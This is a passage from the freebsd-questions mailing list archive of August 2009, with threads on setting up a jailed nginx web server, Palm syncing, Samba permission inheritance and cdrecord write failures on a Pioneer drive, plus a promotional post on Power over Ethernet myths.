 Sent from the freebsd-questions mailing list archive at Nabble.com.

 ___
 freebsd-questions@freebsd.org mailing list
 http://lists.freebsd.org/mailman/listinfo/freebsd-questions
 To unsubscribe, send any mail to freebsd-questions-unsubscr...@freebsd.org

___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to freebsd-questions-unsubscr...@freebsd.org


Re: Information on Setting up a Jailed Webserver

2009-08-27 Thread APseudoUtopia
On Thu, Aug 27, 2009 at 11:03 AM, Adam Vande Moreamvandem...@gmail.com wrote:
 On Thu, Aug 27, 2009 at 9:13 AM, APseudoUtopia apseudouto...@gmail.com
 wrote:

 On Wed, Aug 26, 2009 at 11:35 PM, Erich Dollanskyer...@apsara.com.sg
 wrote:
  Hi,
 
  On 27 August 2009 am 11:10:37 Adam Vande More wrote:
  On Wed, Aug 26, 2009 at 9:59 PM, APseudoUtopia
  apseudouto...@gmail.comwrote:
  
   Also, how memory-intensive is a jail?
 
  Very light when compared to other virtualization methods.
 
  jails share the kernel but not the world.
 
  So, there will be only one kernel loaded but all libraries in use
  will be loaded individually by each jail when needed.
 
  Jails need some more disk space as the world, all libraries needed
  and all applications needed are installed individually in each
  jail.
 
  This can be minimised with proper planning of what runs it what
  jail.
 
  Erich
 

 Thanks for the helpful replies. I have a couple of questions:

 When a jail is compromised, the only thing I have to do to recover the
 system is delete the jail and create a new one, correct? The host
 system is untouched even if a jail is compromised?

 Really depends on how you're using the jail, but under standard usage yes.


 And how does the upgrade process work? I know the userland must be the
 same for the host system and the jail. If I want to upgrade to, say,
 FreeBSD 8 when released, what is the process? I'd imagine it goes
 something like this, but I'm not sure:
 -Shut down jail
 -Upgrade host system
 -Install host binaries
 -Install jail binaries
 -Restart jail

 Or is there more to the process than what it seems?

 That's the basic process, however as mentioned before checkout ezjail.  It
 makes administering multiple jails much easier and can save you disk space.


 Thanks again.

Ok, thanks.

Two more questions then I should be ready to go with my jail(s).

In order to minimize the HDD space of the jail, can I add things in my
src.conf such as
WITHOUT_BOOT, WITHOUT_ACPI, WITHOUT_PF?
I do use pf on the host system, but it isn't needed inside the jail as
well, correct?

Also, is it possible to compile a port (specifically nginx) inside the
host, then simply cp it into the jail and run it? I'd like to do this
to avoid installing a compiler into the jail itself.

Thanks again for the help.
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to freebsd-questions-unsubscr...@freebsd.org


Re: Problem syncing Palm TX with jpilot on FreeBSD 8.0-BETA3

2009-08-27 Thread Marc Fonvieille
On Thu, Aug 27, 2009 at 04:04:09PM +0100, Tony McC wrote:
 
 Marc, many thanks, that was a great help.  I uncommented uvisor in the
 kernel config file, installed the newer uvisor.c, rebuilt and installed
 the new kernel. Pressing the hotsync button did indeed create
 a /dev/cuaU0 but I had to add myself to the 'dialer' group to use it.
 Palm syncing now works again with jpilot!


Great!

 BTW, when might that newer uvisor.c be merged into the RELENG_8 sources?
 

Hopefully, It should be available in 8.0-RELEASE.

 Thanks also to Roland.  I already had add path 'usb/*' in
 my /etc/devfs.rules.  
 
 Best wishes,
 Tony
 
 ___
 freebsd-questions@freebsd.org mailing list
 http://lists.freebsd.org/mailman/listinfo/freebsd-questions
 To unsubscribe, send any mail to freebsd-questions-unsubscr...@freebsd.org

-- 
Marc
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to freebsd-questions-unsubscr...@freebsd.org


Myths about Power Over Ethernet

2009-08-27 Thread Midspan Manager
Myths about Power Over Ethernet
 August 27, 2009
Power-over-Ethernet (PoE) technology integrates power and data across standard 
Cat5/5e/6 network cabling and provides more flexibility in today’s workplace. 
PoE enables power to be supplied to network devices, such as IP phones, network 
cameras, and wireless access points through a single, most often existing, 
network cable. When combined with an uninterruptable power supply (UPS) a PoE 
network delivers continuous operation and minimizes business downtime by 
eliminating most power interruptions. With the ability to install endpoints in 
any location PoE technology provides a scalable and flexible networking 
infrastructure geared for growth and efficiency.

 
 PoE Switches can provide all the power I need or will need.
Today most switches are merely PoE-enabled.  This means the majority rely on 
power management to share available power across the switch ports. The switches 
are designed with a smaller power supply that is typically capable of powering 
the switch itself and providing the required 15.4 watts of power over a limited 
number of ports. 
For example:  A 24-port PoE Switch with power management typically has a 
195-watt power supply. After the 40 watts needed to power the switch, you have 
approximately 155 watts remaining. If 12 of the 24 ports are used to connect 
end devices using 11.5 watts each, you would only have 17 watts remaining to 
provide power on the last 12 ports.  The math doesn’t match the ports: 195W – 
40W (switch) – 138 (12 devices @ 11.5W/ea) = 17W left for power on 12 ports 
Myth Busted: A PoE Switch is often not the best and most cost effective 
solution.
 
  
 A midspan and a PoE switch are the same.
A PoE Midspan is not a switch.  A Midspan is an additional PoE power source 
that can be used to offer full power to all endpoint devices.  PoE Midspans 
(Power Hub or Power Injector) pass data from a switch and ‘inject’ safe power 
acting as a patch panel of sorts.  Midspans are commonly used with either a 
non-PoE switch, an existing PoE switch, or a new PoE switch in a network. In 
addition to offering full power across all available ports, midspans costs 
substantially less per port and overall than a new PoE enabled switch.
Myth Busted: Midspans do not switch – they make use of existing best-in-class 
switches.  They inject safe power across all ports and cost less than PoE 
switches. . 
  
 Only a switch that has PoE built in should be used to power devices like IP 
Phones, Access Points, and IP Security Cameras. 
Switches were designed to, well, switch.  PoE Switches are designed with power 
management and have to distribute different power as required to ports but 
there is often not enough power for all devices plus the power required to 
complete the primary task - switching.  Networks that have multiple devices 
like IP phones, IP cameras, wireless access points quickly go beyond the 
limited capacity of managed power PoE switches.  As more PoE devices continue 
to grow in capabilities and market share this managed power limitation will 
become more and more evident.  Midspans, in contrast to switches, were designed 
to provide full power on every port and deliver safe and reliable power based 
on the industry standards (IEEE802.3af/at). 
Myth Busted: Rather than relying on power management in a switch use a midspan 
that can deliver full power (15.4W) to every port for all PoE-enabled devices 
now and in the future.   
  
 Ethernet devices not PoE-enabled (non 802.3af/at compliant) cannot be powered 
using PoE technology. 
Many devices do not directly accept Power-over-Ethernet but can still use PoE 
technology. If the device uses less than 12.5 watts (802.3af) or less than 50 
watts (802.3at+) and connects to an IP Ethernet network you can use a PoE 
splitter.  PoE splitters enable you to accept PoE power from any IEEE 
802.3af/at compliant switch or midspan then separates the data and power on to 
two seprate cables.  The data is connected to the end device through a standard 
RJ45 plug while the power is connected using a standard 5.5 x 2.1 x 12mm 
Adapter Plug.  Splitters can also convert the input voltage to the required 
voltage for a non-PoE device. Splitters are traditionally used with older 
network products which only accept power through their (DC) jack and data 
through their RJ-45 jack.
Myth Busted: PoE splitters can be used in conjunction with PoE midspans and 
switches to provide both the data connectivity and power required by most 
endpoint devices. 
  
 I need/will need additional PoE switch ports to power my IP cameras and 
high-power pan, tilt, and zoom (PTZ) cameras. 
Today, many devices have evolved into more advanced solutions with higher power 
requirements. The traditional approach was to endure a “forklift upgrade”. This 
meant buying new PoE switches at considerable cost and physically swapping out 
the existing switches to meet higher power requirements or add more powered 
ports. 

Re: Can anyone reproduce this Samba problem?

2009-08-27 Thread John W
On Thu, Aug 27, 2009 at 2:30 AM, Reko Turjareko.tu...@liukuma.net wrote:
 Interestingly, if I turn off 'inherit permissions', then 'inherit
 owner' DOES take effect correctly. However, that means the sticky bit
 does not get inherited, which will not work for me. I need both to be
 inherited, and for some reason they are behaving mutually-exclusive
 (with 'inherit permissions' taking precedence).

 If I understood your problem correctly, you don't actually want to set
 sticky bit on the root directory, but suid - so the chmod would be like

 chmod 4xxx mydir

 In FreeBSD suid-bitted directory will make all the subdirs to inherit the
 owner.

 Sticky bit causes bit different behaviour - see sticky (8) and chmod(1)

I want both the owner AND the sticky bit to be inherited. That is my dilemma.

The sticky bit is necessary in my case because I do not want anyone
but the owner to modify a file once created.
And further, I am setting the owner to 'nobody' so this means *no*
user can modify a file once created, not even files they themselves
created. That is exactly the point of this share I'm trying to create.
This directory will be open to many users, via a public share, with no
passwords.
I want everyone to be able to create new files/dirs in this share, but
I do not want anyone to be able to rename/delete/modify/overwrite/etc.
*any* files once created.

I am trying to avoid using SUIDDIR (see my email), though I realize
that is an option. If I cannot make Samba's 'inherit owner' option
work on FreeBSD, that may be my only choice. Regardless of that, I
would like to determine if this is a Samba bug or not, and which
versions are affected, if so.

However, even if I were to use SUIDDIR, I would still need the sticky
bit to prevent modifications to files.
Unless I am missing something, of course (:

-John
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to freebsd-questions-unsubscr...@freebsd.org


Re: Information on Setting up a Jailed Webserver

2009-08-27 Thread Albert Shih
 Le 26/08/2009 à 22:59:34-0400, APseudoUtopia a écrit
 Hello,
 
 I have a small site which runs PostgreSQL, Nginx, and PHP. I'm looking
 into running nginx inside a jailed host on my server for security
 reasons (eg, if there is a hole in a php script).
 
 The website root is actually a working copy of my subversion
 repository. I have svnserve running through OpenVPN. My plan would be
 to have svnserve and OpenVPN running on the main system, and
 nginx/php running inside a jail.
 
 I was wondering if it would be somehow possible to run a command on
 the main system that updates the svn working copy inside the jail for
 nginx to serve. Would I need to do the svn up over tcp/ip from the
 jail to the main system? Or can I somehow update it via
 file://path/to/main/repo?  I've never used or setup a jail before, so

IMHO that's bad idea. Someday you maybe want to put your website in other
machine, maybe you want to have two server to duplicate your website (just
need rsync). 

If you want update you svn repository you can put in your subversion server
in the hook-scripts something like

wget http://your_website/some_where/update_repo  /dev/null

and in your web serveur (jail or not) you create some script

update_repo

with

cd /your_web_site_dir
svn up

You can add some deny in your apache conf to authorized only your svn
serveur to make the wget

 Also, how memory-intensive is a jail? I'm willing to run postgresql in

If you have only 32Mo you can have some problem ;-)

I run almost ~20 jail server on one physical server without any problem.

Regards.

-- 
Albert SHIH
SIO batiment 15
Observatoire de Paris Meudon
5 Place Jules Janssen
92195 Meudon Cedex
Téléphone : 01 45 07 76 26/06 86 69 95 71
Heure local/Local time:
Jeu 27 aoû 2009 21:44:15 CEST
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to freebsd-questions-unsubscr...@freebsd.org


Re: CD writing fails on P6T motherboard with Pioneer cdwriter

2009-08-27 Thread Joerg Schilling
Hi,

you are using an _extremely_ outdated version of cdrtools.

Upgrade to a recent cdrtools version

ftp://ftp.berlios.de/pub/cdrecord/alpha/

If you still have problems with writing this audio CD,
try to write in -raw96r mode. The pioneer drives have some strange
firmware limitations and cannot write some Cds due to a broken memory layout
in the firmware of the writer.

Jörg

-- 
 EMail:jo...@schily.isdn.cs.tu-berlin.de (home) Jörg Schilling D-13353 Berlin
   j...@cs.tu-berlin.de(uni)  
   joerg.schill...@fokus.fraunhofer.de (work) Blog: 
http://schily.blogspot.com/
 URL:  http://cdrecord.berlios.de/private/ ftp://ftp.berlios.de/pub/schily
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to freebsd-questions-unsubscr...@freebsd.org


Re: CD writing fails on P6T motherboard with Pioneer cdwriter

2009-08-27 Thread Yuri

Joerg Schilling wrote:

Hi,

you are using an _extremely_ outdated version of cdrtools.

Upgrade to a recent cdrtools version

ftp://ftp.berlios.de/pub/cdrecord/alpha/

If you still have problems with writing this audio CD,
try to write in -raw96r mode. The pioneer drives have some strange
firmware limitations and cannot write some Cds due to a broken memory layout
in the firmware of the writer.

Jörg

  


Yes, I used cdrtools 2.01 from FreeBSD ports which is from ~2004.
For some reason all more recent version all labeled as 'alphas'.

Upgrading to Cdrecord-ProDVD-ProBD-Clone 2.01.01a62 didn't help.

Adding -raw96r option causes this error message:
cdrecord: SAO RAW writing only makes sense in clone mode.
And adding -clone on top of that causes this error message:
cdrecord: SAO RAW writing not yet implemented.

Yuri


___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to freebsd-questions-unsubscr...@freebsd.org


Re: CD writing fails on P6T motherboard with Pioneer cdwriter

2009-08-27 Thread Joerg Schilling
Yuri y...@rawbw.com wrote:

 Yes, I used cdrtools 2.01 from FreeBSD ports which is from ~2004.
 For some reason all more recent version all labeled as 'alphas'.

 Upgrading to Cdrecord-ProDVD-ProBD-Clone 2.01.01a62 didn't help.

 Adding -raw96r option causes this error message:
 cdrecord: SAO RAW writing only makes sense in clone mode.
 And adding -clone on top of that causes this error message:
 cdrecord: SAO RAW writing not yet implemented.

I have no idea what you misstyped to create this error message.
Did you use -sao together with -raw96r?



Jörg

-- 
 EMail:jo...@schily.isdn.cs.tu-berlin.de (home) Jörg Schilling D-13353 Berlin
   j...@cs.tu-berlin.de(uni)  
   joerg.schill...@fokus.fraunhofer.de (work) Blog: 
http://schily.blogspot.com/
 URL:  http://cdrecord.berlios.de/private/ ftp://ftp.berlios.de/pub/schily
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to freebsd-questions-unsubscr...@freebsd.org


Re: CD writing fails on P6T motherboard with Pioneer cdwriter

2009-08-27 Thread Yuri

Joerg Schilling wrote:

Yuri y...@rawbw.com wrote:

  

Yes, I used cdrtools 2.01 from FreeBSD ports which is from ~2004.
For some reason all more recent version all labeled as 'alphas'.

Upgrading to Cdrecord-ProDVD-ProBD-Clone 2.01.01a62 didn't help.

Adding -raw96r option causes this error message:
cdrecord: SAO RAW writing only makes sense in clone mode.
And adding -clone on top of that causes this error message:
cdrecord: SAO RAW writing not yet implemented.



I have no idea what you misstyped to create this error message.
Did you use -sao together with -raw96r?



Jörg

  


I used -dao. Removing -dao. Removing -dao made my command line like this:
cdrecord dev=5,0,0 speed=4 -raw96r -v -pad -useinfo -text *.wav

And now it fails with this log:
Cdrecord-ProDVD-ProBD-Clone 2.01.01a62 (i386-unknown-freebsd7.2) 
Copyright (C) 1995-2009 J�rg Schilling

TOC Type: 0 = CD-DA
scsidev: '5,0,0'
scsibus: 5 target: 0 lun: 0
Using libscg version 'schily-0.9'.
SCSI buffer size: 65536
atapi: 0
Device type : Removable CD-ROM
Version : 0
Response Format: 2
Capabilities :
Vendor_info : 'PIONEER '
Identifikation : 'DVD-RW DVR-112D'
Revision : '1.21'
Device seems to be: Generic mmc2 DVD-R/DVD-RW/DVD-RAM.
Current: CD-R
Profile: DVD+R/DL
Profile: DVD+R
Profile: DVD+RW
Profile: DVD-R/DL layer jump recording
Profile: DVD-R/DL sequential recording
Profile: DVD-RW sequential recording
Profile: DVD-RW restricted overwrite
Profile: DVD-R sequential recording
Profile: DVD-ROM
Profile: CD-RW
Profile: CD-R (current)
Profile: CD-ROM
Using generic SCSI-3/mmc CD-R/CD-RW driver (mmc_cdr).
Driver flags : MMC-3 SWABAUDIO BURNFREE
Supported modes: TAO PACKET SAO SAO/R96P SAO/R96R RAW/R16 RAW/R96P 
RAW/R96R LAYER_JUMP

Drive buf size : 1267712 = 1238 KB
cdrecord: Warning: The DMA speed test has been skipped.
FIFO size : 4194304 = 4096 KB
Encoding speed : 1000x (75000 sectors/s) for libedc from Heiko Ei�feldt
pregap1: -1
Track 01: audio 54 MB (05:24.16) no preemp
Track 02: audio 41 MB (04:05.64) no preemp pregapsize: 395
Track 03: audio 56 MB (05:38.76) no preemp pregapsize: 388
Track 04: audio 67 MB (06:42.04) no preemp pregapsize: 425
Track 05: audio 29 MB (02:56.33) no preemp pregapsize: 500
Track 06: audio 84 MB (08:19.46) no preemp pregapsize: 518
Track 07: audio 57 MB (05:39.86) no preemp pregapsize: 380
Track 08: audio 32 MB (03:11.06) no preemp pregapsize: 578
Track 09: audio 40 MB (03:59.80) no preemp pregapsize: 340
Track 10: audio 95 MB (09:27.22) no preemp pregapsize: 305
Track 11: audio 27 MB (02:41.44) no preemp pregapsize: 332
Total size: 586 MB (58:05.80) = 261435 sectors
Lout start: 586 MB (58:07/60) = 261435 sectors
Current Secsize: 2048
ATIP info from disk:
Indicated writing power: 5
Disk Is not unrestricted
Disk Is not erasable
Disk sub type: Medium Type B, low Beta category (B-) (4)
ATIP start of lead in: -11834 (97:24/16)
ATIP start of lead out: 359849 (79:59/74)
Disk type: Short strategy type (Phthalocyanine or similar)
Manuf. index: 24
Manufacturer: SONY Corporation

Capacity Blklen/Sparesz. Format-type Type
0 2048 0x00 Unformated or Blank Media
Blocks total: 359849 Blocks current: 359849 Blocks remaining: 98414
Starting to write CD/DVD/BD at speed 4 in real RAW/RAW96R mode for 
single session.

Last chance to quit, starting real write 0 seconds. Operation starts.
Waiting for reader process to fill input buffer ... input buffer ready.
BURN-Free is OFF.
Performing OPC...
cdrecord: WARNING: Drive returns wrong startsec (-150) using -11834 from 
ATIP

Writing lead-in at sector -11834
cdrecord: Input/output error. write_g1: scsi sendcmd: cmd timeout after 
41.429 (40) s

CDB: 2A 00 FF FF D4 02 00 00 1A 00
cmd finished after 41.429s timeout 40s
write leadin data: error after 1400256 bytes
cdrecord: Could not write Lead-in.
Writing time: 56.827s
cdrecord: fifo had 64 puts and 0 gets.
cdrecord: fifo was 0 times empty and 0 times full, min fill was 100%.
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to freebsd-questions-unsubscr...@freebsd.org


Re: CD writing fails on P6T motherboard with Pioneer cdwriter

2009-08-27 Thread Joerg Schilling
Yuri y...@rawbw.com wrote:

 I used -dao. Removing -dao. Removing -dao made my command line like this:
 cdrecord dev=5,0,0 speed=4 -raw96r -v -pad -useinfo -text *.wav

 And now it fails with this log:
 Cdrecord-ProDVD-ProBD-Clone 2.01.01a62 (i386-unknown-freebsd7.2) 
 Copyright (C) 1995-2009 J???rg Schilling
 TOC Type: 0 = CD-DA
 scsidev: '5,0,0'
 scsibus: 5 target: 0 lun: 0
 Using libscg version 'schily-0.9'.
 SCSI buffer size: 65536
 atapi: 0
 Device type : Removable CD-ROM
 Version : 0
 Response Format: 2
 Capabilities :
 Vendor_info : 'PIONEER '
 Identifikation : 'DVD-RW DVR-112D'
 Revision : '1.21'
...
 Track 10: audio 95 MB (09:27.22) no preemp pregapsize: 305
 Track 11: audio 27 MB (02:41.44) no preemp pregapsize: 332
 Total size: 586 MB (58:05.80) = 261435 sectors
 Lout start: 586 MB (58:07/60) = 261435 sectors
 Current Secsize: 2048
 ATIP info from disk:
 Indicated writing power: 5
 Disk Is not unrestricted
 Disk Is not erasable
 Disk sub type: Medium Type B, low Beta category (B-) (4)
 ATIP start of lead in: -11834 (97:24/16)
 ATIP start of lead out: 359849 (79:59/74)
 Disk type: Short strategy type (Phthalocyanine or similar)
 Manuf. index: 24
 Manufacturer: SONY Corporation

 Capacity Blklen/Sparesz. Format-type Type
 0 2048 0x00 Unformated or Blank Media
 Blocks total: 359849 Blocks current: 359849 Blocks remaining: 98414
 Starting to write CD/DVD/BD at speed 4 in real RAW/RAW96R mode for 
 single session.
 Last chance to quit, starting real write 0 seconds. Operation starts.
 Waiting for reader process to fill input buffer ... input buffer ready.
 BURN-Free is OFF.
 Performing OPC...
 cdrecord: WARNING: Drive returns wrong startsec (-150) using -11834 from 
 ATIP
 Writing lead-in at sector -11834
 cdrecord: Input/output error. write_g1: scsi sendcmd: cmd timeout after 
 41.429 (40) s
 CDB: 2A 00 FF FF D4 02 00 00 1A 00
 cmd finished after 41.429s timeout 40s
 write leadin data: error after 1400256 bytes
 cdrecord: Could not write Lead-in.
 Writing time: 56.827s
 cdrecord: fifo had 64 puts and 0 gets.
 cdrecord: fifo was 0 times empty and 0 times full, min fill was 100%.


What error message did cdrecord print?

Jörg

-- 
 EMail:jo...@schily.isdn.cs.tu-berlin.de (home) Jörg Schilling D-13353 Berlin
   j...@cs.tu-berlin.de(uni)  
   joerg.schill...@fokus.fraunhofer.de (work) Blog: 
http://schily.blogspot.com/
 URL:  http://cdrecord.berlios.de/private/ ftp://ftp.berlios.de/pub/schily
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to freebsd-questions-unsubscr...@freebsd.org


Re: CD writing fails on P6T motherboard with Pioneer cdwriter

2009-08-27 Thread Yuri

Joerg Schilling wrote:


What error message did cdrecord print?

Jörg

  



I've sent you the entire output. This line:
cdrecord: fifo was 0 times empty and 0 times full, min fill was 100%.
was the last.
And it returned exit code 255.

Yuri
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to freebsd-questions-unsubscr...@freebsd.org


Re: CD writing fails on P6T motherboard with Pioneer cdwriter

2009-08-27 Thread Joerg Schilling
Yuri y...@rawbw.com wrote:

 I've sent you the entire output. This line:
 cdrecord: fifo was 0 times empty and 0 times full, min fill was 100%.
 was the last.
 And it returned exit code 255.


You did not send the SCSI error message

Jörg

-- 
 EMail:jo...@schily.isdn.cs.tu-berlin.de (home) Jörg Schilling D-13353 Berlin
   j...@cs.tu-berlin.de(uni)  
   joerg.schill...@fokus.fraunhofer.de (work) Blog: 
http://schily.blogspot.com/
 URL:  http://cdrecord.berlios.de/private/ ftp://ftp.berlios.de/pub/schily
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to freebsd-questions-unsubscr...@freebsd.org


Re: CD writing fails on P6T motherboard with Pioneer cdwriter

2009-08-27 Thread Yuri

Joerg Schilling wrote:

You did not send the SCSI error message

Jörg
  



I've sent the entire output printed to stdout/stderr.

This line in there talks about timeout:
cdrecord: Input/output error. write_g1: scsi sendcmd: cmd timeout after 
41.429 (40) s



Yuri
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to freebsd-questions-unsubscr...@freebsd.org


Re: CD writing fails on P6T motherboard with Pioneer cdwriter

2009-08-27 Thread Joerg Schilling
Yuri y...@rawbw.com wrote:

 Joerg Schilling wrote:
  You did not send the SCSI error message
 
  Jörg



 I've sent the entire output printed to stdout/stderr.

 This line in there talks about timeout:
 cdrecord: Input/output error. write_g1: scsi sendcmd: cmd timeout after 
 41.429 (40) s

OK, if this is a timeout, then you would need to find why this timeout happens.

There are two probabilities:

1)  A cabling problem

2)  This is PATA and you have a hard disk at the same cable.

In case of 1), check or replace the cables, make sure that the OS is set up for
UDMA to the drive (this requires a 80 wire cable - unfortunately the drive 
manufacturers deliver only 40 wire cable).

In case of 2) use the -immed option.

Jörg

-- 
 EMail:jo...@schily.isdn.cs.tu-berlin.de (home) Jörg Schilling D-13353 Berlin
   j...@cs.tu-berlin.de(uni)  
   joerg.schill...@fokus.fraunhofer.de (work) Blog: 
http://schily.blogspot.com/
 URL:  http://cdrecord.berlios.de/private/ ftp://ftp.berlios.de/pub/schily
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to freebsd-questions-unsubscr...@freebsd.org